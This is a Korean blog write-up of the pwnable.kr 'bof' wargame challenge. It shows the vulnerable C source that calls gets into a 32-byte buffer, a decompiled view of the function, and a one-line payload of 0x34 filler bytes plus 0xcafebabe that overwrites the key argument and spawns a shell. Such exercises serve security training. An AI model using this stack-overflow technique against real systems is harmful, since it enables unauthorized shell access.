tmxklab
[pwnable.kr] bof 본문
1. 문제 확인
nc pwnable.kr 9000
[ bof.c ]
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
void func(int key){
char overflowme[32];
printf("overflow me : ");
gets(overflowme); // smash me!
if(key == 0xcafebabe){
system("/bin/sh");
}
else{
printf("Nah..\n");
}
}
int main(int argc, char* argv[]){
func(0xdeadbeef);
return 0;
}
gets에서 bof가 발생한다.
그리고 bof파일은 32bit elf파일이다.
2. 접근 방법
unsigned int __cdecl func(int a1)
{
char s; // [esp+1Ch] [ebp-2Ch]
unsigned int v3; // [esp+3Ch] [ebp-Ch]
v3 = __readgsdword(0x14u);
puts("overflow me : ");
gets(&s);
if ( a1 == 0xCAFEBABE )
system("/bin/sh");
else
puts("Nah..");
return __readgsdword(0x14u) ^ v3;
}
s변수[ebp-0xc]에서 bof쌉가능이니깐 더미 값 + a1[ebp+0x8]에 0xcafebabe 로 만들면 될듯
3. 문제 풀이
payload = dummy(0x34) + 0xcafebabe
4. 몰랐던 개념
'War Game > pwnable.kr' 카테고리의 다른 글
[pwnable.kr] random (0) | 2020.11.20 |
---|---|
[pwnable.kr] passcode (0) | 2020.11.20 |
[pwnable.kr] flag (0) | 2020.11.20 |
[pwnable.kr] collison (0) | 2020.11.20 |
[pwnable.kr] fd (0) | 2020.11.20 |
Comments